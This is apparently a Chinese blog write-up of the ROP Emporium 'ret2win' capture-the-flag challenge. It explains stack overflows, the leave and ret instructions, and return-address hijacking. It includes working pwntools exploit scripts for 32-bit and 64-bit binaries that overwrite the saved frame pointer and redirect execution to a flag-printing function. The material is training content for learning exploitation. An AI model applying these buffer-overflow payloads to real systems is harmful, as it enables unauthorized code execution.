美文网首页
1_ret32win

1_ret32win

作者: Zero_0_0 | 来源:发表于2019-04-15 20:28 被阅读0次

    ROPr入口:https://ropemporium.com/

    1.无法写入shellcoede, 查找敏感的函数(作者自己留下的后门函数)
    2.既然有了可以利用的函数,我们就开始构造
    3.fgets() 最多读取buffer-1(包括回车)


    4.LEA是微机8086/8088系列的一条指令,取自英语Load effective address——取[有效地址],也就是取[偏移地址]。在微机8086/8088中有20位[物理地址],由16[位段]基址向左偏移4位再与偏移地址之和得到。地址传送指令之一。
    mov ax,2
    mov bx,1
    sub ax,bx
    其中sub ax,bx就是ax中的值减bx中的值,等于1,然后把结果,也就是1,放入ax中。 
    
    6.为什么要p32(0) 回答:覆盖ebp的值 ,在执行leave的时候其实就是在pop ebp。

    leave详解

    在16位汇编下相当于:
    mov sp,bp
    pop bp
     在32位汇编下相当于:
    mov esp,ebp
    pop ebp
    

    7.知道了溢出大小,p32(0),就差我们的ret了, ret是返回地址的意思。 我们可以利用ret,劫持程序的流程(到达我们想去的地方)。
    8.点开有惊喜:https://blog.csdn.net/striver1205/article/details/25695437

    int ret2win()
    {
      printf("Thank you! Here's your flag:");
      return system("/bin/cat flag.txt");
    }
    
    32
    from pwn import*
    ##context.log_level = 'debug'
    p  = process("./ret2win32")
    ##p = remote("","")
    ret2win_addr = 0x8048659   //跳转到这个函数里面去执行system(cat  .....)
    
    payload = 'A'* 0x28
    payload += p32(0)
    payload += p32(ret2win_addr)
    
    p.sendline(payload)
    p.interactive()
    
    

    原理一样

    64

    
    from pwn import*
    ##context.log_level = 'debug'
    p  = process("./ret2win")
    ##p = remote("","")
    system_addr = 0x400811
    
    payload =  'A' * 0x20
    payload += p64(0)
    payload += p64(system_addr)
    
    
    p.sendline(payload)
    p.interactive()
    
    

    相关文章

      网友评论

          本文标题:1_ret32win

          本文链接:https://www.haomeiwen.com/subject/aggpwqtx.html